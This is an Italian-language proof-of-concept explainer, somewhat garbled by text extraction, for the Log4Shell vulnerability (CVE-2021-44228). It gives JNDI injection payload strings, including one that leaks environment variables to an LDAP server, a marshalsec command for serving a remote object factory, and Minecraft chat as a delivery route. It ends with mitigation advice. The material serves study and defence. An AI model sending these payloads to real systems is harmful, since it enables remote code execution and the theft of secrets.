
POC di vulnerabilità
CVE-2021-44228:
Questa vulnerabilità consente di eseguire codice arbitrario registrando un messaggio dannoso sulla macchina target.
Ad esempio, puoi usarla in Minecraft inviando un messaggio in chat, e la macchina del server/giocatore registrerà il messaggio di chat ed eseguirà il tuo codice.
Video di LiveOverflow/CVE-2021-44228
Il messaggio deve contenere un segnaposto ${} con l'istruzione per caricare un oggetto remoto tramite l'API . Caricherà l'oggetto attraverso un
jndiObjectFactoryldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
Se l'ObjectFactory non è presente nel client, non farà nulla.
Tranne che risolvere il server.
Con questo, puoi far trapelare variabili d'ambiente:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
perché così tanto hype?
Se la mia comprensione è corretta, fornisce un'interfaccia a JNDI
Cosa può essere sfruttato
JNDI JDAP è un'API di lookup di oggetti.
Puoi ottenere un oggetto Java da un server.
marshalsec/LDAPRefServer
Invia i dati dell'oggetto e il nome dell'ObjectFactory, che dovrebbe costruire l'oggetto sul client.
Può essere sfruttato in più modi.
Se LDAP è configurato per fidarsi di codice esterno, dobbiamo solo fornire l'URL a un ObjectFactory malintenzionato.
com.sun.jndi.ldap.object.trustURLCodebase = true
Oppure esiste un'altra vulnerabilità Java. JDK-8196902
Combinata con quella, diventa davvero una RCE.
Molti repository POC fanno questo su GitHub. Ad esempio tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
Se questo è impostato su false (di default è impostato su false), possiamo cercare un ObjectFactory sfruttabile nel codebase del target,
Oppure sfruttare JNDI in un modo diverso.
Ulteriori letture sull'iniezione JNDI:
JNDI injection
Veracode Research/rogue-jndi
RCEExample è una funzione che registra il messaggio dannoso.
Basta premere Run per eseguirla...
LoggerFactory è un ObjectFactory che registrerà qualunque cosa riceva...
Se compili marshalsec, puoi chiedergli di usare LoggerFactory
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExample e osserva lo sfruttamento (il logger).LoggerFactory, per vedere gli oggetti.Il tuo programma non è vulnerabile SE registra solo messaggi integrati.
Se il programma può registrare testo da qualsiasi file di dati o dalla rete, è vulnerabile.
Ma dovresti sistemarlo comunque...
La cosa migliore che puoi fare è aggiornare a Log4J2 2.15.0+
Se per qualche motivo non è possibile, disabilita il lookup JNDI con il seguente argomento Java: ‐Dlog4j2.formatMsgNoLookups=True per mitigare la vulnerabilità.
Se sei un amministratore di server Minecraft, segui la guida ufficiale: MESSAGGIO IMPORTANTE: VULNERABILITÀ DI SICUREZZA NELLA JAVA EDITION